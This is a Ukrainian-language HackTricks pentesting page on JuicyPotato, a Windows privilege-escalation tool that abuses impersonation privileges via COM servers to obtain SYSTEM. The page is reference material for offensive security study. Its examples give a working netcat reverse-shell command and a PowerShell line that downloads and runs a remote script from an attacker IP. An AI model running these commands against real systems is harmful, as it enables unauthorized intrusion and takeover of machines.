JuicyPotato

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

JuicyPotato не працює на Windows Server 2019 та Windows 10 з версії 1809 і вище. Однак, PrintSpoofer, RoguePotato, SharpEfsPotato можуть бути використані для використання тих самих привілеїв та отримання доступу на рівні NT AUTHORITY\SYSTEM. Перевірте:

pageRoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (зловживання золотими привілеями)

Це підсолений варіант RottenPotatoNG, з трохи соку, тобто інструмент локального підвищення привілеїв, від облікових записів служб Windows до NT AUTHORITY\SYSTEM

Ви можете завантажити juicypotato з https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Огляд

З Readme juicy-potato:

RottenPotatoNG та його варіанти використовують ланцюжок підвищення привілеїв на основі служби BITS service з MiTM слухачем на 127.0.0.1:6666 та коли у вас є привілеї SeImpersonate або SeAssignPrimaryToken. Під час перегляду збірки Windows ми виявили налаштування, де BITS був навмисно вимкнений, а порт 6666 був зайнятий.

Ми вирішили збройовати RottenPotatoNG: Привітайте Juicy Potato.

Для теорії дивіться Rotten Potato - Підвищення привілеїв від облікових записів служби до SYSTEM та слідуйте ланцюжку посилань та посилань.

Ми виявили, що, крім BITS, існує кілька COM-серверів, які ми можемо зловживати. Їм просто потрібно:

  1. бути інстанційованими поточним користувачем, зазвичай "службовим користувачем", який має привілеї імперсонації

  2. реалізувати інтерфейс IMarshal

  3. працювати як підвищений користувач (SYSTEM, Адміністратор, ...)

Після деяких тестів ми отримали та протестували вичерпний список цікавих CLSID на кількох версіях Windows.

Деталі Juicy

JuicyPotato дозволяє вам:

  • Цільовий CLSID виберіть будь-який CLSID, який ви хочете. Тут ви можете знайти список, організований за ОС.

  • Порт прослуховування COM визначте порт прослуховування COM, який вам до вподоби (замість маршалізованого жорстко закодованого 6666)

  • IP-адреса прослуховування COM прив'яжіть сервер до будь-якої IP-адреси

  • Режим створення процесу залежно від привілеїв імперсонації користувача ви можете вибрати з:

  • CreateProcessWithToken (потрібно SeImpersonate)

  • CreateProcessAsUser (потрібно SeAssignPrimaryToken)

  • обидва

  • Процес для запуску запустіть виконуваний файл або скрипт, якщо експлуатація вдається

  • Аргумент процесу налаштуйте аргументи запущеного процесу

  • Адреса сервера RPC для прихованого підходу ви можете аутентифікуватися на зовнішньому сервері RPC

  • Порт сервера RPC корисно, якщо ви хочете аутентифікуватися на зовнішньому сервері і брандмауер блокує порт 135...

  • Режим ТЕСТУВАННЯ головним чином для тестування, тобто тестування CLSID. Він створює DCOM та друкує користувача токена. Дивіться тут для тестування

Використання

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Заключні думки

З Readme juicy-potato:

Якщо у користувача є привілеї SeImpersonate або SeAssignPrimaryToken, то ви SYSTEM.

Практично неможливо запобігти зловживанню всіма цими COM-серверами. Ви можете подумати про зміну дозволів цих об'єктів через DCOMCNFG, але вдачі, це буде складно.

Фактичне рішення полягає в захисті чутливих облікових записів та програм, які працюють під обліковими записами * SERVICE. Зупинка DCOM безперечно унеможливить цей експлойт, але може серйозно вплинути на основну операційну систему.

З: http://ohpe.it/juicy-potato/

Приклади

Примітка: Відвідайте цю сторінку для списку CLSID, які можна спробувати.

Отримати обернену оболонку nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell рев

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Запустіть новий CMD (якщо у вас є доступ RDP)

Проблеми з CLSID

Дуже часто, типовий CLSID, який використовує JuicyPotato, не працює, і експлойт не вдається. Зазвичай потрібно кілька спроб, щоб знайти працюючий CLSID. Щоб отримати список CLSID для спроби на конкретній операційній системі, вам слід відвідати цю сторінку:

Перевірка CLSID

Спочатку вам знадобляться деякі виконувані файли окрім juicypotato.exe.

Завантажте Join-Object.ps1 та завантажте його в сеанс PS, а також завантажте та виконайте GetCLSID.ps1. Цей скрипт створить список можливих CLSID для тестування.

Потім завантажте test_clsid.bat (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) та виконайте його. Він почне спробувати кожен CLSID, і коли номер порту зміниться, це означатиме, що CLSID працює.

Перевірте працюючі CLSID за допомогою параметра -c

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated